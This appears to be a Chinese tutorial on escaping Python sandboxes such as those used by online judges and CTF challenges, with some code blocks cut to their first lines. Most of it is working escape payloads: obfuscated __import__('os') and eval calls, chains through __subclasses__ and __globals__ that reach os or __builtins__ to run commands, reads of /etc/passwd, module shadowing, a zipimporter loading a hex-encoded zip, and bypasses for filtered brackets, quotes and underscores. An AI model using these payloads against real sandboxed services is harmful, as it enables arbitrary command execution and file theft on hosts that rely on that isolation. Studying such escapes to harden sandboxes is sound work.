让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类沙箱还是蛮有意思的。
Python 的沙箱逃逸的最终目标就是执行系统任意命令
,次一点的写文件
,再次一点的读文件
。
python 绕过沙盒中常见的函数、属性
func_globals
返回包含函数全局变量的字典的引用(定义函数的模块的全局命令控件)
用法:function.func_globals
返回类型是字典__getattribute__()
被调用无条件地实现类的实例的属性访问。
用法:object. getattribute(self, name)
1)name 必需的。属性的名称。字符串getattr()
返回对象的命名属性的值。
用法:getattr (object, name)
相当于object.name
name 必须是一个字符串__getattr__
当属性查找没有在通常的位置找到属性时调用
例如,它不是实例属性,也不是在类树中找到self__dict__
列出当前属性/函数的字典__base__
列出其基类,__bases__
也是列出基类,只不过__bases__
返回的是元组__mro__
递归的显示父类一直到object
返回类型为元组__subclasses__()
返回子类列表__import__()
import一个模块__bulitin__
Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。__builtins
是对内建模块的一个引用,python2和python3相同reload()
重新加载之前导入的模块__name__
获得模块的名字
这个值获得的只是一个字符串,不是模块的引用__globals__
返回一个当前空间下能使用的模块,方法和变量的字典。
使用方式是函数名.__globals__
__call__
可以把类实例当做函数调用
执行系统命令
基础知识
在python中执行系统命令的方式有:
1 | os: os.system("whoami")、os.popen("whoami").read() |
查找所有的导入了 os 或者 sys 的库:
1 | #-*- coding:utf8 -*- |
花式import
首先,禁用 import os 肯定是不行的,因为
1 | import os |
都可以。如果多个空格也过滤了,Python 能够 import 的可不止 import,还有 __import__:__import__('os')
,__import__被干了还有 importlib:importlib.import_module('os').system('ls')
这样就安全了吗?实际上import可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替:
1 | execfile('/usr/lib/python2.7/os.py') |
不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:
1 | with open('/usr/lib/python3.6/os.py','r') as f: |
这个方法倒是 2.x、3.x 通用的。
不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:
1 | import sys |
花式处理字符串
代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:
1 | __import__('so'[::-1]).system('ls') |
还可以利用 eval 或者 exec:
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
恢复 sys.modules
sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。
有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:
1 | 'os'] = 'not allowed' sys.modules[ |
注意,这里不能用 del sys.modules['os']
,因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
所以删了 sys.modules['os']
只会让 Python 重新加载一次 os。
看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:
1 | sys.modules['os'] = 'not allowed' # oj 为你加的 |
最后还有一种利用 __builtins__
导入的方式,下面会详细说。
builtins、builtin与__builtins__
builtin、builtins,__builtin__与__builtins__的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr、open。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)
的东西,它有一些常用函数,变量和类。
顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import
才能查看:
2.x:
1 | import __builtin__ |
3.x:
1 | import builtins |
但是,__builtins__
两者都有,实际上是__builtin__
和builtins
的引用,它不需要导入。__builtins__
相对实用一点,并且在__builtins__
里有很多好东西:
1 | '__import__' in dir(__builtins__) => true |
在Python中,不引入直接使用的内置函数被成为builtin
函数,随着builtin
这个模块自动引入到环境中
进而,我们可以通过__dict__引入我们想要引入的模块
1 | __builtins__.__dict__['__import__']('os').system('whoami') |
由于__dict__
引用时使用的是字符串,所以可以花式使用字符串来混淆
1 | __builtins__.__dict__['__imp'+'ort__']('o'+'s').system('whoami') |
那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:
1 | __builtins__.__dict__['eval'] = 'not allowed' |
或者直接删了:
1 | del __builtins__.__dict__['eval'] |
但是我们可以利用 reload(__builtins__)
来恢复__builtins__
。
这里注意,2.x 的 reload
是内建的,3.x 需要 import imp
,然后再 imp.reload
通过继承关系逃逸
在 Python 中提到继承就不得不提 mro,mro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。Python 中新式类都有个属性,叫__mro__
,是个元组,记录了继承关系:
1 | ''.__class__.__mro__ |
类的实例在获取__class__
属性时会指向该实例对应的类。可以看到,''
属于 str
类,它继承了 object
类,这个类是所有类的超类。具有相同功能的还有__base__
和__bases__
。
由于没法直接引入 os
,那么假如有个库叫oos
,在oos
中引入了os
,那么我们就可以通过__globals__
拿到 os
(__globals__
是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os:
1 | import site |
也就是说,能引入 site
的话,就相当于有 os
。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site
。可以利用 reload
,变相加载 os
:
既然所有的类都继承的object,那么我们可以用__subclasses__
获取它的子类,之后再用子类的方法来获取我们想要的模块或函数
以2.x的site.Quitter为列:
1 | ''.__class__.__mro__[-1].__subclasses__()[74].__init__.__globals__['os'] |
顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:
1 | object.__subclasses__()[74].__init__.__globals__['os'] |
还有一种是利用builtin_function_or_method
的 __call__
:
1 | object.__subclasses__()[29] |
还可以通过这个方式来获得builtin_function_or_method
1 | 'append').__class__ [].__getattribute__( |
还可以这样利用:
1 | class test(dict): |
上面的这些利用方式总结起来就是通过__class__
、__mro__
、__subclasses__
、__bases__
等等属性/方法去获取 object
,再根据__globals__
找引入的__builtins__
或者eval
等等能够直接被利用的库,或者找到builtin_function_or_method
类/类型__call__
后直接运行eval
利用__builtins__
来寻找我们想要的函数可以使用这个脚本:
1 | searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__'] |
getattr和__getattribute__
这两个函数接受两个参数:第一个是一个模组或者对象,第二个是一个字符串。
该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性
2种方法其区别非常细微,但非常重要。
如果某个类定义了__getattribute__()
方法,在每次引用属性或方法名称时Python都调用它
(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr()
方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color
, x.color
将 不会 调用x.getattr('color')
,而只会返回x.color
已定义好的值。
getattr 语法:
getattr(object, name[, default])
参数:
object — 对象。
name — 字符串,对象属性。
default — 默认返回值,如果不提供该参数,在没有对应属性时,将触发 AttributeError。
getattribute 语法:
object.__getattribute__(self, name)
无条件被调用,通过实例访问属性。如果class中定义了__getattr__(),则__getattr__()不会被调用(除非显示调用或引发AttributeError异常)
因此,当我们要用类的属性时可以使用__getattribute__(属性名字符串)
代替,而又因为属性名传入的是字符串,所以又可以用字符串花式进行绕过:
这个方法只适用于新式类(继承自object或者type的类)
1 | ''.__class__ |
文件读写
2.x 有个内建的 file:
1 | 'key').read() file( |
还有个 open,2.x 与 3.x 通用。
还有一些库,例如:types.FileType(rw)
、platform.popen(rw)
、linecache.getlines(r)
为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py
,然后 import
进来:
math.py:
1 | import os |
调用
1 | import math |
这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules
中有的,这些库无法这样利用,会直接从sys.modules
中加入,比如re:
1 | 're' in sys.modules |
当然在import re 之前del sys.modules['re']
也不是不可以…
剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:
1 | open('key').read() __builtins__. |
或者
1 | 40]('key').read() ().__class__.__base__.__subclasses__()[ |
一些poc
利用继承关系找到os等可以执行系统函数的模块
1 | ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read() |
利用继承关系找到builtin_function_or_method
执行eval
1 | [].__class__.__base__.__subclasses__()[34].__call__(eval,"__import__('os').popen('whoami').read()") |
利用继承关系寻找__builtins__
来使用eval
1 | ''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") |
文件读写
1 | ''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() #调用file子类 |
利用zipimport.zipimporter
配合写文件导入任意模块
1 | a = "\x50\x4b\x03\x04\x14\x03\x00\x00\x08\x00\xce\xad\xa4\x42\x5e\x13\x60\xd0\x22\x00\x00\x00\x23\x00\x00\x00\x04\x00\x00\x00\x7a\x2e\x70\x79\xcb\xcc\x2d\xc8\x2f\x2a\x51\xc8\x2f\xe6\x2a\x28\xca\xcc\x03\x31\xf4\x8a\x2b\x8b\x4b\x52\x73\x35\xd4\x93\x13\x4b\x14\xb4\xd4\x35\xb9\x00\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x08\x00\xce\xad\xa4\x42\x5e\x13\x60\xd0\x22\x00\x00\x00\x23\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x80x\a4x\81x\00x\00x\00x\00x\7ax\2ex\70x\79x\50x\4bx\05x\06\x00\x00\x00\x00\x01\x00\x01\x00\x32\x00\x00\x00\x44\x00\x00\x00\x00\x00" |
注意:必须要是zip格式的文件才能导入
f修饰符
在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。
只有在python3.6.0+的版本才有这个方法。简单来说,可以理解为字符串外层套了一个exec()
1 | f'{print("aaa")}' |
这个有点类似于php中的<?php "${@phpinfo()}"; ?>
,但python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。
绕过过滤
字符串的变换
所有一个使用字符串的地方都可以使用字符串的拼接、字符串倒置和字符串编码等方式来变换
1 | [].__class__.__base__.__subclasses__()[91].__init__.__globals__['_os'].__dict__['system']('whoami') |
过滤[]
__getitem__()
1
"".__class__.__mro__[2] ==> "".__class__.__mro__.__getitem__(2)
pop()
1
"".__class__.__mro__[2] ==> "".__class__.__mro__.pop(2)
过滤引号
使用chr
函数,先获取chr函数,赋值给chr。
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
1 | [].__class__.__base__.__subclasses__()[91].__init__.__globals__['_os'].__dict__['system']('whoami') |
过滤下划线/过滤.
可以使用getattr()
+ dir(0)[0][0]
来绕过dir(0)[0][0] ==> "_"
转换过程:
1 | [].__class__ ==> getattr([],'__class__') |
其中双下划綫都是字符串中的了,可以使用dir(0)[0][0]
或者chr
来绕过
其中,getattr
函数在模板中不存在,可以使用模板内置过滤器attr
过滤器来获取对象属性。
使用方法为:foo|attr("bar")
== foo["bar"]
__getattribute__
当我们要用类的属性时可以使用__getattribute__(属性名字符串)
代替,而又因为属性名传入的是字符串,所以又可以用字符串花式进行绕过
1 | [].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12] |
前提条件:这个方法只适用于新式类(继承自object或者type的类)